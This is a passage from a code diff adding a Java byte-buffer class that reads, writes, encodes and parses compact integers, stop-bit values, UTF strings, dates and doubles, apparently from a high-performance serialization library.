+                return Short.MAX_VALUE;
+            case BYTE_EXTENDED:
+                return readShort();
+            default:
+                return b;
+        }
+    }
+
+    @Override
+    public int readCompactUnsignedShort() {
+        int b = readUnsignedByte();
+        if (b == UBYTE_EXTENDED)
+            return readUnsignedShort();
+        return b;
+    }
+
+    @Override
+    public int readInt24() {
+        int b = readUnsignedByte();
+        int s = readUnsignedShort();
+        if (byteOrder() == ByteOrder.BIG_ENDIAN)
+            return ((b << 24) + (s << 8)) >> 8;
+        // extra shifting to get sign extension.
+        return ((b << 8) + (s << 16)) >> 8;
+    }
+
+    @Override
+    public int readInt24(long offset) {
+        int b = readUnsignedByte(offset);
+        int s = readUnsignedShort(offset + 1);
+        if (byteOrder() == ByteOrder.BIG_ENDIAN)
+            return ((b << 24) + (s << 8)) >> 8;
+        // extra shifting to get sign extension.
+        return ((b << 8) + (s << 16)) >> 8;
+    }
+
+    @Override
+    public long readUnsignedInt() {
+        return readInt() & UNSIGNED_INT_MASK;
+    }
+
+    @Override
+    public long readUnsignedInt(long offset) {
+        return readInt(offset) & UNSIGNED_INT_MASK;
+    }
+
+    @Override
+    public int readCompactInt() {
+        short b = readShort();
+        switch (b) {
+            case SHORT_MIN_VALUE:
+                return Integer.MIN_VALUE;
+            case SHORT_MAX_VALUE:
+                return Integer.MAX_VALUE;
+            case SHORT_EXTENDED:
+                return readInt();
+            default:
+                return b;
+        }
+    }
+
+    @Override
+    public long readCompactUnsignedInt() {
+        int b = readUnsignedShort();
+        if (b == USHORT_EXTENDED)
+            return readUnsignedInt();
+        return b;
+    }
+
+    @Override
+    public long readInt48() {
+        long s = readUnsignedShort();
+        long l = readUnsignedInt();
+        if (byteOrder() == ByteOrder.BIG_ENDIAN)
+            return ((s << 48) + (l << 16)) >> 16;
+        // extra shifting to get sign extension.
+        return ((s << 16) + (l << 32)) >> 16;
+    }
+
+    @Override
+    public long readInt48(long offset) {
+        long s = readUnsignedShort(offset);
+        long l = readUnsignedInt(offset + 2);
+        if (byteOrder() == ByteOrder.BIG_ENDIAN)
+            return ((s << 48) + (l << 16)) >> 16;
+        // extra shifting to get sign extension.
+        return ((s << 16) + (l << 32)) >> 16;
+    }
+
+    @Override
+    public long readCompactLong() {
+        int b = readInt();
+        switch (b) {
+            case INT_MIN_VALUE:
+                return Long.MIN_VALUE;
+            case INT_MAX_VALUE:
+                return Long.MAX_VALUE;
+            case INT_EXTENDED:
+                return readLong();
+            default:
+                return b;
+        }
+    }
+
+    @Override
+    public long readIncompleteLong(long offset) {
+        long left = remaining();
+        if (left >= 8)
+            return readLong(offset);
+        if (left == 4)
+            return readInt(offset);
+        long l = 0;
+        for (int i = 0, remaining = (int) left; i < remaining; i++) {
+            l |= (long) readUnsignedByte(offset + i) << (i * 8);
+        }
+        return l;
+    }
+
+    @Override
+    public long readStopBit() {
+        long l;
+        if ((l = readByte()) >= 0)
+            return l;
+        return readStopBit0(l);
+    }
+
+    private long readStopBit0(long l) {
+        l &= 0x7FL;
+        long b;
+        int count = 7;
+        while ((b = readByte()) < 0) {
+            l |= (b & 0x7FL) << count;
+            count += 7;
+        }
+        if (b != 0) {
+            if (count > 56)
+                throw new IllegalStateException(
+                        "Cannot read more than 9 stop bits of positive value");
+            return l | (b << count);
+
+        } else {
+            if (count > 63)
+                throw new IllegalStateException(
+                        "Cannot read more than 10 stop bits of negative value");
+            return ~l;
+        }
+    }
+
+    @Override
+    public double readCompactDouble() {
+        float f = readFloat();
+        if (Float.isNaN(f))
+            return readDouble();
+        return f;
+    }
+
+    @Override
+    public void read(@NotNull ByteBuffer bb) {
+        read(bb, bb.remaining());
+    }
+
+    @Override
+    public void read(@NotNull ByteBuffer bb, int length) {
+        int len = (int) Math.min(length, remaining());
+        if (bb.order() == byteOrder()) {
+            while (len >= 8) {
+                bb.putLong(readLong());
+                len -= 8;
+            }
+        }
+        while (len > 0) {
+            bb.put(readByte());
+            len--;
+        }
+    }
+
+    // // RandomOutputStream
+    @Override
+    public void write(@NotNull byte[] bytes) {
+        write(bytes, 0, bytes.length);
+    }
+
+    private void checkWrite(long length) {
+        if (length > remaining())
+            throw new IllegalStateException("Cannot write " + length + " only " + remaining() + " remaining");
+    }
+
+    @Override
+    public void writeBoolean(boolean v) {
+        write(v ? 'Y' : 0);
+    }
+
+    @Override
+    public void writeBoolean(long offset, boolean v) {
+        writeByte(offset, v ? 'Y' : 0);
+    }
+
+    @Override
+    public void writeBytes(@NotNull String s) {
+        int len = s.length();
+        for (int i = 0; i < len; i++)
+            write(s.charAt(i));
+    }
+
+    @Override
+    public void writeChars(@NotNull String s) {
+        writeChars((CharSequence) s);
+    }
+
+    @Override
+    public void writeChars(@NotNull CharSequence cs) {
+        int len = cs.length();
+        for (int i = 0; i < len; i++)
+            writeChar(cs.charAt(i));
+    }
+
+    @Override
+    public void writeUTF(@NotNull String str) {
+        long utflen = findUTFLength(str);
+        if (utflen > 65535)
+            throw new IllegalStateException("String too long " + utflen + " when encoded, max: 65535");
+        writeUnsignedShort((int) utflen);
+        checkUFTLength(utflen);
+        writeUTF0(this, str, str.length());
+    }
+
+    @Override
+    public void writeUTFΔ(@Nullable CharSequence str) throws IllegalArgumentException {
+        if (str == null) {
+            writeStopBit(-1);
+            return;
+        }
+        long utflen = findUTFLength(str);
+        writeStopBit(utflen);
+        checkUFTLength(utflen);
+        writeUTF0(this, str, str.length());
+    }
+
+    // locking at it temporarily changes position.
+    // todo write a version without changing the position.
+    @Override
+    public synchronized void writeUTFΔ(long offset, int maxSize, @Nullable CharSequence s) throws IllegalStateException {
+        assert maxSize > 1;
+        long position = position();
+        try {
+            position(offset);
+            if (s == null) {
+                writeStopBit(-1);
+                return;
+            }
+            long utflen = findUTFLength(s);
+            long totalSize = IOTools.stopBitLength(utflen) + utflen;
+            if (totalSize > maxSize)
+                throw new IllegalStateException("Attempted to write " + totalSize + " byte String, when only " + maxSize + " allowed");
+
+            writeStopBit(utflen);
+            writeUTF0(this, s, s.length());
+            zeroOut(position(), offset + maxSize);
+        } finally {
+            position(position);
+        }
+    }
+
+    @NotNull
+    public ByteStringAppender append(@NotNull CharSequence str) {
+        int strlen = str.length();
+        writeUTF0(this, str, strlen);
+        return this;
+    }
+
+    private void checkUFTLength(long utflen) throws IllegalArgumentException {
+        if (utflen > remaining())
+            throw new IllegalArgumentException(
+                    "encoded string too long: " + utflen + " bytes, remaining=" + remaining());
+    }
+
+    @Override
+    public void writeByte(int v) {
+        write(v);
+    }
+
+    @Override
+    public void writeUnsignedByte(int v) {
+        writeByte(v);
+    }
+
+    @Override
+    public void writeUnsignedByte(long offset, int v) {
+        writeByte(offset, v);
+    }
+
+    @Override
+    public void write(long offset, @NotNull byte[] bytes) {
+        checkWrite(bytes.length);
+        for (int i = 0; i < bytes.length; i++)
+            writeByte(offset + i, bytes[i]);
+    }
+
+    @Override
+    public void write(long offset, Bytes bytes) {
+        long length = bytes.remaining();
+        checkWrite(length);
+        long i;
+        for (i = 0; i < length - 7; i += 8)
+            writeLong(offset + i, bytes.readLong());
+        for (; i < length; i++)
+            writeByte(offset + i, bytes.readByte());
+    }
+
+    @Override
+    public void write(byte[] bytes, int off, int len) {
+        checkArrayOffs(bytes.length, off, len);
+        checkWrite(len);
+
+        for (int i = 0; i < len; i++)
+            write(bytes[off + i]);
+    }
+
+    @Override
+    public void write(long offset, byte[] bytes, int off, int len) {
+        checkArrayOffs(bytes.length, off, len);
+        checkWrite(len);
+
+        for (int i = 0; i < len; i++)
+            writeByte(offset + i, bytes[off + i]);
+    }
+
+    @Override
+    public void write(@NotNull char[] data) {
+        write(data, 0, data.length);
+    }
+
+    @Override
+    public void write(@NotNull char[] data, int off, int len) {
+        checkArrayOffs(data.length, off, len);
+        checkWrite(len * 2);
+
+        for (int i = 0; i < len; i++)
+            writeChar(data[off + i]);
+    }
+
+    @Override
+    public void writeUnsignedShort(int v) {
+        writeShort(v);
+    }
+
+    @Override
+    public void writeUnsignedShort(long offset, int v) {
+        writeShort(offset, v);
+    }
+
+    @Override
+    public void writeCompactShort(int v) {
+        if (v > BYTE_MAX_VALUE && v <= Byte.MAX_VALUE)
+            writeByte(v);
+        else
+            switch (v) {
+                case Short.MIN_VALUE:
+                    writeByte(BYTE_MIN_VALUE);
+                    break;
+
+                case Short.MAX_VALUE:
+                    writeByte(BYTE_MAX_VALUE);
+                    break;
+                default:
+                    writeByte(BYTE_EXTENDED);
+                    writeShort(v);
+                    break;
+            }
+    }
+
+    @Override
+    public void writeCompactUnsignedShort(int v) {
+        if (v >= 0 && v < USHORT_EXTENDED) {
+            writeByte(v);
+
+        } else {
+            writeUnsignedShort(USHORT_EXTENDED);
+            writeUnsignedShort(v);
+        }
+    }
+
+    @Override
+    public void writeInt24(int v) {
+        if (byteOrder() == ByteOrder.BIG_ENDIAN) {
+            writeUnsignedByte(v >>> 16);
+            writeUnsignedShort(v);
+
+        } else {
+            writeUnsignedByte(v);
+            writeUnsignedShort(v >>> 8);
+        }
+    }
+
+    @Override
+    public void writeInt24(long offset, int v) {
+        if (byteOrder() == ByteOrder.BIG_ENDIAN) {
+            writeUnsignedByte(offset, v >>> 16);
+            writeUnsignedShort(offset + 1, v);
+
+        } else {
+            writeUnsignedByte(offset, v);
+            writeUnsignedShort(offset + 1, v >>> 8);
+        }
+    }
+
+    @Override
+    public void writeUnsignedInt(long v) {
+        writeInt((int) v);
+    }
+
+    @Override
+    public void writeUnsignedInt(long offset, long v) {
+        writeInt(offset, (int) v);
+    }
+
+    @Override
+    public void writeCompactInt(int v) {
+        if (v > SHORT_MAX_VALUE && v <= Short.MAX_VALUE)
+            writeShort(v);
+        else
+            switch (v) {
+                case Integer.MIN_VALUE:
+                    writeShort(SHORT_MIN_VALUE);
+                    break;
+
+                case Integer.MAX_VALUE:
+                    writeShort(SHORT_MAX_VALUE);
+                    break;
+                default:
+                    writeShort(SHORT_EXTENDED);
+                    writeInt(v);
+                    break;
+            }
+    }
+
+    @Override
+    public void writeCompactUnsignedInt(long v) {
+        if (v >= 0 && v < USHORT_EXTENDED) {
+            writeShort((int) v);
+
+        } else {
+            writeShort(USHORT_EXTENDED);
+            writeUnsignedInt(v);
+        }
+    }
+
+    @Override
+    public void writeInt48(long v) {
+        if (byteOrder() == ByteOrder.BIG_ENDIAN) {
+            writeUnsignedShort((int) (v >>> 32));
+            writeUnsignedInt(v);
+
+        } else {
+            writeUnsignedShort((int) v);
+            writeUnsignedInt(v >>> 16);
+        }
+    }
+
+    @Override
+    public void writeInt48(long offset, long v) {
+        if (byteOrder() == ByteOrder.BIG_ENDIAN) {
+            writeUnsignedShort(offset, (int) (v >>> 32));
+            writeUnsignedInt(offset + 2, v);
+
+        } else {
+            writeUnsignedShort(offset, (int) v);
+            writeUnsignedInt(offset + 2, v >>> 16);
+        }
+    }
+
+    @Override
+    public void writeCompactLong(long v) {
+        if (v > INT_MAX_VALUE && v <= Integer.MAX_VALUE) {
+            writeInt((int) v);
+
+        } else if (v == Long.MIN_VALUE) {
+            writeInt(INT_MIN_VALUE);
+
+        } else if (v == Long.MAX_VALUE) {
+            writeInt(INT_MAX_VALUE);
+
+        } else {
+            writeInt(INT_EXTENDED);
+            writeLong(v);
+        }
+    }
+
+    @Override
+    public void writeStopBit(long n) {
+        if ((n & ~0x7F) == 0) {
+            write((int) (n & 0x7f));
+            return;
+        }
+        if ((n & ~0x3FFF) == 0) {
+            write((int) ((n & 0x7f) | 0x80));
+            write((int) (n >> 7));
+            return;
+        }
+        writeStopBit0(n);
+    }
+
+    private void writeStopBit0(long n) {
+        boolean neg = false;
+        if (n < 0) {
+            neg = true;
+            n = ~n;
+        }
+
+        long n2;
+        while ((n2 = n >>> 7) != 0) {
+            write((byte) (0x80L | n));
+            n = n2;
+        }
+        // final byte
+        if (!neg) {
+            write((byte) n);
+
+        } else {
+            write((byte) (0x80L | n));
+            write(0);
+        }
+    }
+
+    @Override
+    public void writeCompactDouble(double v) {
+        float f = (float) v;
+        if (f == v) {
+            writeFloat(f);
+
+        } else {
+            writeFloat(Float.NaN);
+            writeDouble(v);
+        }
+    }
+
+    @Override
+    public void write(@NotNull ByteBuffer bb) {
+        if (bb.order() == byteOrder())
+            while (bb.remaining() >= 8)
+                writeLong(bb.getLong());
+        while (bb.remaining() >= 1)
+            writeByte(bb.get());
+    }
+
+    // ByteStringAppender
+    @NotNull
+    @Override
+    public ByteStringAppender append(@NotNull CharSequence s, int start, int end) {
+        for (int i = start, len = Math.min(end, s.length()); i < len; i++)
+            writeByte(s.charAt(i));
+        return this;
+    }
+
+    @NotNull
+    @Override
+    public ByteStringAppender append(@Nullable Enum value) {
+        return value == null ? this : append(value.toString());
+    }
+
+    @NotNull
+    @Override
+    public ByteStringAppender append(boolean b) {
+        append(b ? "true" : "false");
+        return this;
+    }
+
+    @NotNull
+    @Override
+    public ByteStringAppender append(char c) {
+        writeByte(c);
+        return this;
+    }
+
+    @NotNull
+    @Override
+    public ByteStringAppender append(int num) {
+        return append((long) num);
+    }
+
+    @NotNull
+    @Override
+    public ByteStringAppender append(long num) {
+        if (num < 0) {
+            if (num == Long.MIN_VALUE) {
+                write(MIN_VALUE_TEXT);
+                return this;
+            }
+            writeByte('-');
+            num = -num;
+        }
+        if (num == 0) {
+            writeByte('0');
+
+        } else {
+            appendLong0(num);
+        }
+        return this;
+    }
+
+    @NotNull
+    @Override
+    public ByteStringAppender append(long num, int base) {
+        if (base < 2 || base > Character.MAX_RADIX)
+            throw new IllegalArgumentException("Invalid base: " + base);
+        if (num < 0) {
+            if (num == Long.MIN_VALUE) {
+                writeBytes(BigInteger.valueOf(num).toString(base));
+                return this;
+            }
+            writeByte('-');
+            num = -num;
+        }
+        if (num == 0) {
+            writeByte('0');
+
+        } else {
+            while (num > 0) {
+                writeByte(RADIX[((int) (num % base))]);
+                num /= base;
+            }
+        }
+        return this;
+    }
+
+    @NotNull
+    @Override
+    public ByteStringAppender appendDateMillis(long timeInMS) {
+        DateCache dateCache = dateCacheTL.get();
+        if (dateCache == null) {
+            dateCacheTL.set(dateCache = new DateCache());
+        }
+        long date = timeInMS / 86400000;
+        if (dateCache.lastDay != date) {
+            dateCache.lastDateStr = dateCache.dateFormat.format(new Date(timeInMS)).getBytes(ISO_8859_1);
+            dateCache.lastDay = date;
+
+        } else {
+            assert dateCache.lastDateStr != null;
+        }
+        write(dateCache.lastDateStr);
+        return this;
+    }
+
+    @NotNull
+    @Override
+    public ByteStringAppender appendDateTimeMillis(long timeInMS) {
+        appendDateMillis(timeInMS);
+        writeByte('T');
+        appendTimeMillis(timeInMS % 86400000L);
+        return this;
+    }
+
+    @NotNull
+    @Override
+    public ByteStringAppender appendTimeMillis(long timeInMS) {
+        int hours = (int) (timeInMS / (60 * 60 * 1000));
+        if (hours > 99) {
+            appendLong0(hours); // can have over 24 hours.
+        } else {
+            writeByte((char) (hours / 10 + '0'));
+            writeByte((char) (hours % 10 + '0'));
+        }
+        writeByte(':');
+        int minutes = (int) ((timeInMS / (60 * 1000)) % 60);
+        writeByte((char) (minutes / 10 + '0'));
+        writeByte((char) (minutes % 10 + '0'));
+        writeByte(':');
+        int seconds = (int) ((timeInMS / 1000) % 60);
+        writeByte((char) (seconds / 10 + '0'));
+        writeByte((char) (seconds % 10 + '0'));
+        writeByte('.');
+        int millis = (int) (timeInMS % 1000);
+        writeByte((char) (millis / 100 + '0'));
+        writeByte((char) (millis / 10 % 10 + '0'));
+        writeByte((char) (millis % 10 + '0'));
+        return this;
+    }
+
+    @NotNull
+    @Override
+    public ByteStringAppender append(double d) {
+        long val = Double.doubleToRawLongBits(d);
+        int sign = (int) (val >>> 63);
+        int exp = (int) ((val >>> 52) & 2047);
+        long mantissa = val & ((1L << 52) - 1);
+        if (sign != 0) {
+            writeByte('-');
+        }
+        if (exp == 0 && mantissa == 0) {
+            writeByte('0');
+            return this;
+
+        } else if (exp == 2047) {
+            if (mantissa == 0) {
+                write(Infinity);
+
+            } else {
+                write(NaN);
+            }
+            return this;
+
+        } else if (exp > 0) {
+            mantissa += 1L << 52;
+        }
+        final int shift = (1023 + 52) - exp;
+        if (shift > 0) {
+            // integer and faction
+            if (shift < 53) {
+                long intValue = mantissa >> shift;
+                appendLong0(intValue);
+                mantissa -= intValue << shift;
+                if (mantissa > 0) {
+                    writeByte('.');
+                    mantissa <<= 1;
+                    mantissa++;
+                    int precision = shift + 1;
+                    long error = 1;
+
+                    long value = intValue;
+                    int decimalPlaces = 0;
+                    while (mantissa > error) {
+                        // times 5*2 = 10
+                        mantissa *= 5;
+                        error *= 5;
+                        precision--;
+                        long num = (mantissa >> precision);
+                        value = value * 10 + num;
+                        writeByte((char) ('0' + num));
+                        mantissa -= num << precision;
+
+                        final double parsedValue = asDouble(value, 0, sign != 0, ++decimalPlaces);
+                        if (parsedValue == d)
+                            break;
+                    }
+                }
+                return this;
+
+            } else {
+                // faction.
+                writeByte('0');
+                writeByte('.');
+                mantissa <<= 6;
+                mantissa += (1 << 5);
+                int precision = shift + 6;
+
+                long error = (1 << 5);
+
+                long value = 0;
+                int decimalPlaces = 0;
+                while (mantissa > error) {
+                    while (mantissa > MAX_VALUE_DIVIDE_5) {
+                        mantissa >>>= 1;
+                        error = (error + 1) >>> 1;
+                        precision--;
+                    }
+                    // times 5*2 = 10
+                    mantissa *= 5;
+                    error *= 5;
+                    precision--;
+                    if (precision >= 64) {
+                        decimalPlaces++;
+                        writeByte('0');
+                        continue;
+                    }
+                    long num = (mantissa >>> precision);
+                    value = value * 10 + num;
+                    final char c = (char) ('0' + num);
+                    assert !(c < '0' || c > '9');
+                    writeByte(c);
+                    mantissa -= num << precision;
+                    final double parsedValue = asDouble(value, 0, sign != 0, ++decimalPlaces);
+                    if (parsedValue == d)
+                        break;
+                }
+                return this;
+            }
+        }
+        // large number
+        mantissa <<= 10;
+        int precision = -10 - shift;
+        int digits = 0;
+        while ((precision > 53 || mantissa > Long.MAX_VALUE >> precision) && precision > 0) {
+            digits++;
+            precision--;
+            long mod = mantissa % 5;
+            mantissa /= 5;
+            int modDiv = 1;
+            while (mantissa < MAX_VALUE_DIVIDE_5 && precision > 1) {
+                precision -= 1;
+                mantissa <<= 1;
+                modDiv <<= 1;
+            }
+            mantissa += modDiv * mod / 5;
+        }
+        long val2 = precision > 0 ? mantissa << precision : mantissa >>> -precision;
+
+        appendLong0(val2);
+        for (int i = 0; i < digits; i++)
+            writeByte('0');
+
+        return this;
+    }
+
+    @Override
+    public double parseDouble() {
+        long value = 0;
+        int exp = 0;
+        boolean negative = false;
+        int decimalPlaces = Integer.MIN_VALUE;
+        int ch = readUnsignedByteOrThrow();
+        switch (ch) {
+            case 'N':
+                if (compareRest("aN"))
+                    return Double.NaN;
+                skip(-1);
+                return Double.NaN;
+            case 'I':
+                if (compareRest("nfinity"))
+                    return Double.POSITIVE_INFINITY;
+                skip(-1);
+                return Double.NaN;
+            case '-':
+                if (compareRest("Infinity"))
+                    return Double.NEGATIVE_INFINITY;
+                negative = true;
+                ch = readUnsignedByteOrThrow();
+                break;
+        }
+        while (true) {
+            if (ch >= '0' && ch <= '9') {
+                while (value >= MAX_VALUE_DIVIDE_10) {
+                    value >>>= 1;
+                    exp++;
+                }
+                value = value * 10 + (ch - '0');
+                decimalPlaces++;
+
+            } else if (ch == '.') {
+                decimalPlaces = 0;
+
+            } else {
+                break;
+            }
+            ch = readUnsignedByteOrThrow();
+        }
+
+        return asDouble(value, exp, negative, decimalPlaces);
+    }
+
+    protected boolean compareRest(String s) {
+        if (s.length() > remaining())
+            return false;
+        long position = position();
+        for (int i = 0; i < s.length(); i++) {
+            if (readUnsignedByte(position + i) != s.charAt(i))
+                return false;
+        }
+        skip(s.length());
+        return true;
+    }
+
+    @NotNull
+    @Override
+    public <E> ByteStringAppender append(@NotNull Iterable<E> list, @NotNull CharSequence separator) {
+        if (list instanceof RandomAccess && list instanceof List) {
+            return append((List<E>) list, separator);
+        }
+        int i = 0;
+        for (E e : list) {
+            if (i++ > 0)
+                append(separator);
+            if (e != null)
+                append(e.toString());
+        }
+        return this;
+    }
+
+    @NotNull
+    <E> ByteStringAppender append(@NotNull List<E> list, @NotNull CharSequence separator) {
+        for (int i = 0; i < list.size(); i++) {
+            if (i > 0)
+                append(separator);
+            E e = list.get(i);
+            if (e != null)
+                append(e.toString());
+        }
+        return this;
+    }
+
+    @NotNull
+    @Override
+    public MutableDecimal parseDecimal(@NotNull MutableDecimal decimal) {
+        long num = 0, scale = Long.MIN_VALUE;
+        boolean negative = false;
+        while (true) {
+            int b = readUnsignedByteOrThrow();
+            // if (b >= '0' && b <= '9')
+            if ((b - ('0' + Integer.MIN_VALUE)) <= 9 + Integer.MIN_VALUE) {
+                num = num * 10 + b - '0';
+                scale++;
+
+            } else if (b == '.') {
+                scale = 0;
+
+            } else if (b == '-') {
+                negative = true;
+
+            } else {
+                break;
+            }
+        }
+        if (negative)
+            num = -num;
+        decimal.set(num, scale > 0 ? (int) scale : 0);
+        return decimal;
+    }
+
+    @Override
+    public long parseLong() {
+        long num = 0;
+        boolean negative = false;
+        while (true) {
+            int b = readUnsignedByteOrThrow();
+            // if (b >= '0' && b <= '9')
+            if ((b - ('0' + Integer.MIN_VALUE)) <= 9 + Integer.MIN_VALUE)
+                num = num * 10 + b - '0';
+            else if (b == '-')
+                negative = true;
+            else
+                break;
+        }
+        return negative ? -num : num;
+    }
+
+    @Override
+    public long parseLong(int base) {
+        if (base < 2 || base > Character.MAX_RADIX)
+            throw new IllegalArgumentException("Invalid base:" + base);
+        long num = 0;
+        boolean negative = false;
+        while (true) {
+            int b = readUnsignedByteOrThrow();
+            byte rp = RADIX_PARSE[b];
+            if (rp >= 0 && rp < base) {
+                num = num * base + rp;
+
+            } else if (b == '-')
+                negative = true;
+            else
+                break;
+        }
+        return negative ? -num : num;
+    }
+
+    private void appendLong0(long num) {
+        // Extract digits into the end of the numberBuffer
+        int endIndex = appendLong1(num);
+
+        // Bulk copy the digits into the front of the buffer
+        write(numberBuffer, endIndex, MAX_NUMBER_LENGTH - endIndex);
+    }
+
+    private int appendLong1(long num) {
+        numberBuffer[19] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0)
+            return 19;
+        numberBuffer[18] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0)
+            return 18;
+        numberBuffer[17] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0)
+            return 17;
+        numberBuffer[16] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0)
+            return 16;
+        numberBuffer[15] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0)
+            return 15;
+        numberBuffer[14] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0)
+            return 14;
+        numberBuffer[13] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0)
+            return 13;
+        numberBuffer[12] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0)
+            return 12;
+        numberBuffer[11] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0)
+            return 11;
+        numberBuffer[10] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0)
+            return 10;
+        numberBuffer[9] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0)
+            return 9;
+        numberBuffer[8] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0)
+            return 8;
+        numberBuffer[7] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0)
+            return 7;
+        numberBuffer[6] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0)
+            return 6;
+        numberBuffer[5] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0)
+            return 5;
+        numberBuffer[4] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0)
+            return 4;
+        numberBuffer[3] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0)
+            return 3;
+        numberBuffer[2] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0)
+            return 2;
+        numberBuffer[1] = (byte) (num % 10L + '0');
+        return 1;
+    }
+
+    @NotNull
+    @Override
+    public ByteStringAppender append(double d, int precision) {
+        if (precision < 0)
+            precision = 0;
+        long power10 = Maths.power10(precision);
+        if (power10 < 0)
+            power10 = 100000000000000000L;
+        if (d < 0) {
+            d = -d;
+            writeByte('-');
+        }
+        double d2 = d * power10;
+        if (d2 > Long.MAX_VALUE || d2 < Long.MIN_VALUE + 1)
+            return append(d);
+        long val = (long) (d2 + 0.5);
+        while (precision > 1 && val % 10 == 0) {
+            val /= 10;
+            precision--;
+        }
+        if (precision > 0 && val % 10 == 0) {
+            val = (val + 5) / 10;
+            precision--;
+        }
+        if (precision > 0)
+            appendDouble0(val, precision);
+        else
+            appendLong0(val);
+        return this;
+    }
+
+    private void appendDouble0(long num, int precision) {
+        // Extract digits into the end of the numberBuffer
+        // Once desired precision is reached, write the '.'
+        int endIndex = appendDouble1(num, precision);
+
+        // Bulk copy the digits into the front of the buffer
+        // TODO: Can this be avoided with use of correctly offset bulk appends on Excerpt?
+        // Uses (numberBufferIdx - 1) because index was advanced one too many times
+
+        write(numberBuffer, endIndex, MAX_NUMBER_LENGTH - endIndex);
+    }
+
+    private int appendDouble1(long num, int precision) {
+        int endIndex = MAX_NUMBER_LENGTH;
+        int maxEnd = MAX_NUMBER_LENGTH - precision - 2;
+        numberBuffer[--endIndex] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0 && endIndex <= maxEnd)
+            return endIndex;
+        if (precision == 1)
+            numberBuffer[--endIndex] = (byte) '.';
+        numberBuffer[--endIndex] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0 && endIndex <= maxEnd)
+            return endIndex;
+        if (precision == 2)
+            numberBuffer[--endIndex] = (byte) '.';
+        numberBuffer[--endIndex] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0 && endIndex <= maxEnd)
+            return endIndex;
+        if (precision == 3)
+            numberBuffer[--endIndex] = (byte) '.';
+        numberBuffer[--endIndex] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0 && endIndex <= maxEnd)
+            return endIndex;
+        if (precision == 4)
+            numberBuffer[--endIndex] = (byte) '.';
+        numberBuffer[--endIndex] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0 && endIndex <= maxEnd)
+            return endIndex;
+        if (precision == 5)
+            numberBuffer[--endIndex] = (byte) '.';
+        numberBuffer[--endIndex] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0 && endIndex <= maxEnd)
+            return endIndex;
+        if (precision == 6)
+            numberBuffer[--endIndex] = (byte) '.';
+        numberBuffer[--endIndex] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0 && endIndex <= maxEnd)
+            return endIndex;
+        if (precision == 7)
+            numberBuffer[--endIndex] = (byte) '.';
+        numberBuffer[--endIndex] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0 && endIndex <= maxEnd)
+            return endIndex;
+        if (precision == 8)
+            numberBuffer[--endIndex] = (byte) '.';
+        numberBuffer[--endIndex] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0 && endIndex <= maxEnd)
+            return endIndex;
+        if (precision == 9)
+            numberBuffer[--endIndex] = (byte) '.';
+        numberBuffer[--endIndex] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0 && endIndex <= maxEnd)
+            return endIndex;
+        if (precision == 10)
+            numberBuffer[--endIndex] = (byte) '.';
+        numberBuffer[--endIndex] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0 && endIndex <= maxEnd)
+            return endIndex;
+        if (precision == 11)
+            numberBuffer[--endIndex] = (byte) '.';
+        numberBuffer[--endIndex] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0 && endIndex <= maxEnd)
+            return endIndex;
+        if (precision == 12)
+            numberBuffer[--endIndex] = (byte) '.';
+        numberBuffer[--endIndex] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0 && endIndex <= maxEnd)
+            return endIndex;
+        if (precision == 13)
+            numberBuffer[--endIndex] = (byte) '.';
+        numberBuffer[--endIndex] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0 && endIndex <= maxEnd)
+            return endIndex;
+        if (precision == 14)
+            numberBuffer[--endIndex] = (byte) '.';
+        numberBuffer[--endIndex] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0 && endIndex <= maxEnd)
+            return endIndex;
+        if (precision == 15)
+            numberBuffer[--endIndex] = (byte) '.';
+        numberBuffer[--endIndex] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0 && endIndex <= maxEnd)
+            return endIndex;
+        if (precision == 16)
+            numberBuffer[--endIndex] = (byte) '.';
+        numberBuffer[--endIndex] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0 && endIndex <= maxEnd)
+            return endIndex;
+        if (precision == 17)
+            numberBuffer[--endIndex] = (byte) '.';
+        numberBuffer[--endIndex] = (byte) (num % 10L + '0');
+        num /= 10;
+        if (num <= 0 && endIndex <= maxEnd)
+            return endIndex;
+        if (precision == 18)
+            numberBuffer[--endIndex] = (byte) '.';
+        numberBuffer[--endIndex] = (byte) (num % 10L + '0');
+        return endIndex;
+    }
+
+    @NotNull
+    @Override
+    public ByteStringAppender append(@NotNull MutableDecimal md) {
+        StringBuilder sb = acquireStringBuilder();
+        md.toString(sb);
+        append(sb);
+        return this;
+    }
+
+    @NotNull
+    @Override
+    public InputStream inputStream() {
+        return new BytesInputStream(this);
+    }
+
+    @NotNull
+    @Override
+    public OutputStream outputStream() {
+        return new BytesOutputStream(this);
+    }
+
+    @NotNull
